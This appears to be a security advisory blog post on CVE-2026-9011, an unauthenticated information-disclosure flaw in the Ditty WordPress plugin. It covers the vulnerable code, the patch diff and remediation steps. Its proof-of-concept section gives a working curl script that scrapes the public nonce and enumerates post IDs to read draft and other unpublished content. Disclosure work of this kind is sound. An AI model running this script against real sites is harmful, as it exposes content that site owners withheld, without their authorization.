CVE-2026-9011: Ditty Plugin Exposes Non-Public Content to Anyone (CVSS 7.5)
Table of Contents
CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty – Responsive News Tickers, Sliders, and Lists WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys — including drafts, scheduled announcements, and disabled entries — by sending a crafted AJAX request with an integer post ID.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Ditty – Responsive News Tickers, Sliders, and Lists |
| Plugin Slug | ditty-news-ticker |
| CVE ID | CVE-2026-9011 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Missing Authorization to Unauthenticated Sensitive Information Disclosure |
| Affected Versions | <= 3.1.65 |
| Patched Version | 3.1.66 |
| Published | May 21, 2026 |
| Researcher | Md. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad |
| Wordfence Advisory | Link |
Description
The Ditty plugin registers a front-end AJAX action called ditty_init. This action loads and returns the full content of a Ditty (a news ticker or list) when given a post ID.
The plugin also has a non-AJAX version of the same logic. That non-AJAX path checks whether the requested Ditty has a publish post status before returning anything. The AJAX path does not.
Because of this missing check, any unauthenticated attacker can call the AJAX endpoint and retrieve items from Dittys in any status — draft, pending, scheduled, or disabled. The attacker only needs a valid nonce, which the plugin embeds in the HTML of every page that shows a Ditty widget.
Technical Analysis
Hook Registration
The vulnerability starts in includes/class-ditty-singles.php, in the class constructor:
// Line 32
add_action( 'wp_ajax_ditty_init', array( $this, 'init_ajax' ) );
// Line 33
add_action( 'wp_ajax_nopriv_ditty_init', array( $this, 'init_ajax' ) );
The nopriv suffix on line 33 tells WordPress to call init_ajax() for visitors who are not logged in. This is correct for a widget that needs to load published content on the front end. The problem is that init_ajax() does not restrict its response to published content.
Nonce Exposed to All Visitors
The plugin’s script loader (includes/class-ditty-scripts.php) hooks into wp_enqueue_scripts, which runs on every front-end page load. It generates a nonce and embeds it in the page HTML:
// Line 461–463
wp_add_inline_script( 'ditty', 'const dittyVars = ' . json_encode( apply_filters( 'dittyVars', array(
'ajaxurl' => admin_url( 'admin-ajax.php' ),
'security' => wp_create_nonce( 'ditty' ), // <-- embedded for all visitors
This outputs a JavaScript block like the following on every page that has a Ditty widget:
const dittyVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","security":"abc123def456",...};
Any unauthenticated visitor can load the page, read the source, and extract the security value. The nonce is valid for 24 hours.
The Vulnerable init_ajax() Function
The AJAX handler at line 220 of class-ditty-singles.php:
public function init_ajax() {
check_ajax_referer( 'ditty', 'security' ); // Line 221 — nonce check only, NOT auth
$id_ajax = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : false; // Line 222
// ... other params ...
// Line 257 — reads status but never acts on it
$status = get_post_status( $id_ajax );
// Line 266 — loads ALL items for any Ditty, regardless of status
$items = $this->get_display_items( $id_ajax, 'cache', $custom_layout_settings_ajax );
$args['status'] = $status; // status included in response but not checked
$args['items'] = $items; // full content returned unconditionally
wp_send_json( $data ); // Line 279 — response sent
}
The key problem: $status is read on line 257 and included in the response, but there is no if statement that stops execution when the status is not publish.
Comparison with the Non-AJAX Path
The non-AJAX init() method in the same file (line 288) has the correct check:
public function init( $atts ) {
$ditty_id = $atts['data-id'];
// Line 300–302 — this check is MISSING from init_ajax()
if ( 'publish' != get_post_status( $ditty_id ) ) {
return false;
}
// ...
}
The non-AJAX path blocks execution for non-published Dittys. The AJAX path does not. This inconsistency is the root cause.
Why the Nonce Does Not Provide Protection
A WordPress nonce is a CSRF token. It proves that a request originated from a specific browser session, not that the user is authenticated. For logged-out users, WordPress generates valid nonces tied to the visitor’s session for up to 24 hours.
In this case:
- The nonce is embedded in the HTML of public pages.
- Any visitor — logged in or not — can read it.
- There is no
is_user_logged_in()orcurrent_user_can()check ininit_ajax().
Because the nonce is publicly available, passing check_ajax_referer() here provides no real access control.
Proof of Concept
Disclaimer: This PoC is for authorized security testing and educational purposes only. Do not test against sites you do not own or have explicit permission to test.
Prerequisites:
- Ditty plugin version <= 3.1.65 installed and active
- At least one Ditty widget on a publicly accessible page
- One or more non-public Dittys exist (draft, pending, scheduled, or disabled)
Step 1 — Extract the nonce from the front-end page:
TARGET="http://example.com"
NONCE=$(curl -s "$TARGET/" \
| grep -o '"security":"[^"]*"' \
| head -1 \
| cut -d'"' -f4)
echo "Nonce: $NONCE"
Step 2 — Enumerate Ditty post IDs and read non-public content:
for ID in $(seq 1 200); do
RESPONSE=$(curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode "action=ditty_init" \
--data-urlencode "id=$ID" \
--data-urlencode "security=$NONCE")
# Check if the response contains Ditty data
if echo "$RESPONSE" | grep -q '"items"'; then
STATUS=$(echo "$RESPONSE" | python3 -c \
"import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('status',''))" 2>/dev/null)
TITLE=$(echo "$RESPONSE" | python3 -c \
"import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('title',''))" 2>/dev/null)
echo "ID $ID | status=$STATUS | title=$TITLE"
if [ "$STATUS" != "publish" ] && [ -n "$STATUS" ]; then
echo " --> Non-public Ditty disclosed!"
echo "$RESPONSE" | python3 -m json.tool
fi
fi
done
Expected response for a draft Ditty (ID = 42):
{
"display_type": "ticker",
"args": {
"id": 42,
"title": "Confidential Q3 Announcement",
"status": "draft",
"items": [
{
"content": "We will be announcing layoffs next quarter..."
}
]
}
}
The response returns "status": "draft" alongside the full item content — content the administrator explicitly withheld from public view.
Patch Analysis
Version 3.1.66 adds three authorization checks at the beginning of init_ajax(), before any data is retrieved:
+ // Validate the requested Ditty exists and is the correct post type
+ if ( ! $id_ajax || 'ditty' !== get_post_type( $id_ajax ) ) {
+ wp_send_json_error();
+ }
+
+ // Only published Dittys are publicly accessible. Non-published Dittys
+ // may only be loaded by users with the capability to edit that specific Ditty.
+ if ( 'publish' !== get_post_status( $id_ajax ) && ! current_user_can( 'edit_post', $id_ajax ) ) {
+ wp_send_json_error();
+ }
+
+ // The editor flag should only be honored for users with the capability
+ // to edit Dittys to avoid exposing editor-only data publicly.
+ if ( $editor_ajax && ! current_user_can( 'edit_dittys' ) ) {
+ $editor_ajax = false;
+ }
The same status and capability checks are also added to live_updates_ajax(), which was vulnerable to the same class of issue.
The fix aligns the AJAX path with the non-AJAX init() method that already had the correct status check.
Timeline
| Date | Event |
|---|---|
| May 19, 2026 | Patched version 3.1.66 released |
| May 21, 2026 | Wordfence advisory published |
| May 24, 2026 | This blog post published |
Remediation
Update the Ditty plugin to version 3.1.66 or later.
Go to WordPress Admin → Plugins → Installed Plugins, find Ditty, and click Update Now. You can also download the latest version directly from wordpress.org/plugins/ditty-news-ticker.
If you cannot update immediately, consider disabling the plugin until you can. Any non-public Dittys may have had their content exposed to unauthenticated visitors prior to the update.
References
- Wordfence Advisory — CVE-2026-9011
- CVE Record — CVE-2026-9011
- Vulnerable code — class-ditty-singles.php#L220 (3.1.65)
- Vulnerable code — class-ditty-singles.php#L33 (3.1.65)
- Nonce exposure — class-ditty-scripts.php#L463 (3.1.65)
- Patch changeset
Frequently Asked Questions
What is CVE-2026-9011?
CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys, including drafts, pending, scheduled, and disabled entries.
Which versions of Ditty are affected by CVE-2026-9011?
All versions up to and including 3.1.65 are affected. Version 3.1.66 contains the fix.
What can an attacker do with CVE-2026-9011?
An attacker can retrieve the full item content of any Ditty that is not published. This includes drafts, scheduled announcements, pending content, and disabled entries that the site administrator intentionally withheld from public view.
Does an attacker need to be logged in to exploit CVE-2026-9011?
No. Any visitor to the site can exploit this vulnerability without an account. The only requirement is that at least one Ditty widget is embedded on a publicly accessible page.
How do I fix CVE-2026-9011 in Ditty?
Update Ditty to version 3.1.66 or later from the WordPress admin dashboard or wordpress.org.
Has Ditty been patched for CVE-2026-9011?
Yes. Version 3.1.66 was released on May 19, 2026 and resolves this vulnerability.